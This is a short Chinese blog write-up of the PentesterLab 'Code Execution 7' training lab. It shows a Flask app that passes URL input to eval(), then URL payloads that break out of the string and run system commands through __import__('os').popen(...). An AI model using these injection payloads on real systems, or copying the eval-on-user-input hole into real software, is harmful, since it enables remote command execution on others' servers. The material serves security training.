标签:需要 动态加载 技术 执行命令 false html 显示 资源 mes
1.查看源码
from flask import Flask,redirect , render_template
app = Flask( __name__)
@app.route( ‘/ hello/<path:user> ‘ )
def hello_name(user) :
message = eval( ‘ "Hello ‘+user+‘"‘ )
return render_template( ‘index.html‘ , message = message)
@app.route( ‘/ ‘ )
def hello_world( ):
return redirect( " /hello/ hacker" , code=302)
if __name__ == ‘__main__‘ :
app.run( debug=False,host=‘0.0.0.0‘)
可以发现 message = eval(‘ "Hello‘ + user +‘"‘) 可以闭合源码来执行我们的命令
2.进行构建payload
页面显示:
尝试闭合: https://ptl------------.libcurl.so/hello/hacker"%2bstr(123)%2b"
页面成功输出123
尝试执行系统命令: https://ptl------------.libcurl.so/hello/hacker"%2bstr(os.system(‘ls‘))%2b"
页面报错
可能是因为python没有import os的原因 我们可以使用__import__ 来动态加载模块
执行:
https//ptl------------.libcurl.so/hello/hacker"%2bstr(__import__(‘os‘).system(‘ls‘))%2b"
发现页面回显正常 但是没有显示出我们需要的资源
推测可能是os.system的问题 我们可以使用os.popen方法来执行系统命令
执行:
https://ptl------------.libcurl.so/hello/hacker"%2bstr(__import__(‘os‘).popen(‘ls‘).read())%2b"
页面已经可以正常回显执行命令后的结果 well done
pentesterlab靶场练习 Code Execution 7
标签:需要 动态加载 技术 执行命令 false html 显示 资源 mes
原文地址:https://www.cnblogs.com/xsj1228/p/14763869.html